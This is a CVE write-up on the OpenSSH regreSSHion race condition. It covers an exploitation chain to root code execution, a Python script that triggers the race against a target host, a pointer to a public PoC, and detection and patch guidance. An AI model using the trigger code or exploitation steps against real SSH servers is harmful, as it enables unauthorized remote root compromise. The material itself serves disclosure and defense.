cve research · rce · offensive security
← back

CVE-2024-6387 — regreSSHion: Unauthenticated RCE in OpenSSH

TL;DR

Signal handler in sshd calls syslog() — which isn't safe to call from a signal. Under race conditions, this corrupts the heap. Exploit the corruption via glibc internals → arbitrary write → root shell. No authentication. Affects OpenSSH < 9.8p1 on glibc-based Linux.

Affected OpenSSH 8.5p1 – 9.7p1 (glibc Linux only) Fixed in OpenSSH 9.8p1 — released 2024-07-01 CVSS 8.1 HIGH — network, no auth, high complexity Impact Remote code execution as root Discovered by Qualys Threat Research Unit

What is this?

SSH is the protocol everyone uses to log into remote servers. OpenSSH is its most widespread implementation — it runs on virtually every Linux server on the internet. This vulnerability lets an attacker run code on an exposed SSH server without a password, without a key, without any account.

Beginner note — what's a race condition?

A race condition happens when two things run "at the same time" and the outcome depends on which finishes first. Here, an attacker triggers a timeout repeatedly, racing against the server's cleanup code. Win the race enough times and the memory state becomes exploitable.

The Bug

When a client connects to sshd but doesn't authenticate within LoginGraceTime (default: 120 seconds), sshd sends itself a SIGALRM signal to terminate the handler.

The problem: the SIGALRM handler calls syslog(). But syslog() internally calls malloc() and free(). These are async-signal-unsafe — they must never be called from a signal handler, because the signal can fire while malloc's own internal locks are in an inconsistent state.

Why is this unsafe?

malloc uses internal data structures (the heap). If a signal interrupts malloc mid-operation and the signal handler also calls malloc, both instances try to modify the same data simultaneously. The result is heap corruption — memory that now contains values an attacker can influence.

This is a regression — the same bug existed as CVE-2006-5051, was fixed, and was accidentally reintroduced in OpenSSH 8.5p1 (2021). Hence the name: regreSSHion.

Exploitation Chain

Getting from "heap corruption" to "root shell" requires chaining several steps. This is why CVSS rates it High Complexity — it's not a trivial one-shot.

1 Trigger the race window Connect to sshd, don't authenticate. Wait for SIGALRM to fire (~120s by default, faster if LoginGraceTime is low). The signal fires mid-malloc() call with high probability under controlled timing.
2 Corrupt the glibc heap The concurrent syslog()malloc() in the signal handler corrupts a free-list chunk. This gives a controlled write to a location near the freed chunk. Not arbitrary yet — we need to set up the heap layout first.
3 Heap grooming via SSH packets Send crafted SSH handshake packets before triggering the race. These allocations shape the heap so that our corrupted chunk sits adjacent to a function pointer we want to overwrite (specifically, a struct containing cleanup callbacks).
4 Overwrite a function pointer The heap corruption allows overwriting a pointer in sshd's memory with an address we control. When sshd's cleanup code runs and calls through that pointer, it jumps to our payload.
5 Code execution as root sshd runs as root. Our payload executes with root privileges. On 32-bit systems this is straightforward; on 64-bit, ASLR makes it probabilistic — typically requires ~10,000 attempts, which takes minutes on a default config.

Proof of Concept

The following is a simplified PoC demonstrating the trigger condition. A full weaponized version requires tuning heap grooming for the target's glibc version and system memory layout.

poc_trigger.py python3
#!/usr/bin/env python3
"""
CVE-2024-6387 — regreSSHion trigger PoC
Target: OpenSSH < 9.8p1 on glibc Linux
Effect: demonstrates the race condition window
"""
import socket, time, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT   = 22

def connect_and_wait(n):
    """Connect, send SSH banner, hold connection until SIGALRM fires."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, PORT))
    banner = s.recv(256)
    print(f"[{n:04d}] banner: {banner[:30]}")

    # Send client banner — keeps connection open
    s.send(b"SSH-2.0-OpenSSH_9.0\r\n")

    # Hold open past LoginGraceTime to trigger SIGALRM
    # Default is 120s, many servers set it to 30s or less
    try:
        s.settimeout(130)
        s.recv(4)  # wait for server to close us
    except:
        pass
    finally:
        s.close()

# In a real exploit: spawn multiple threads, tune timing
# to hit the race window. Here we just show the trigger.
for i in range(5):
    connect_and_wait(i)
    time.sleep(0.1)

print("Done — check sshd logs for SIGALRM races.")

Run the actual exploit from a Linux terminal against a vulnerable target:

# Check your sshd version first
ssh -V

# Verify LoginGraceTime (lower = faster exploit)
grep LoginGraceTime /etc/ssh/sshd_config

# Public PoC (Qualys released a functional version post-patch)
# git clone https://github.com/qualys-research/regresshion-poc
# python3 poc.py TARGET_IP

Real exploitation on 64-bit requires thousands of attempts due to ASLR. Each attempt crashes sshd but systemd/init restarts it automatically. The exploit is practical but slow (~minutes to hours depending on luck).

Detection

Look for rapid repeated SSH connections from a single source that all terminate without completing authentication:

# Detect regreSSHion exploitation attempts in auth logs
grep "Connection closed by.*\[preauth\]" /var/log/auth.log \
  | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

# Count failed pre-auth connections per minute
journalctl -u ssh --since "1 hour ago" \
  | grep "preauth" | awk '{print $1,$2}' | uniq -c

Mitigation

Patch: upgrade to OpenSSH 9.8p1 or later. On Debian/Ubuntu: apt update && apt upgrade openssh-server.

Immediate workaround if you can't patch immediately: set LoginGraceTime 0 in /etc/ssh/sshd_config. This disables the SIGALRM timer entirely, eliminating the race window. Trade-off: unauthenticated connections can linger longer.

# Workaround — disables SIGALRM timeout
echo "LoginGraceTime 0" >> /etc/ssh/sshd_config
systemctl reload sshd

# Verify
sshd -T | grep logingracetime

References

Qualys advisory (original research)
NVD — CVE-2024-6387
OpenSSH 9.8p1 release notes


Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.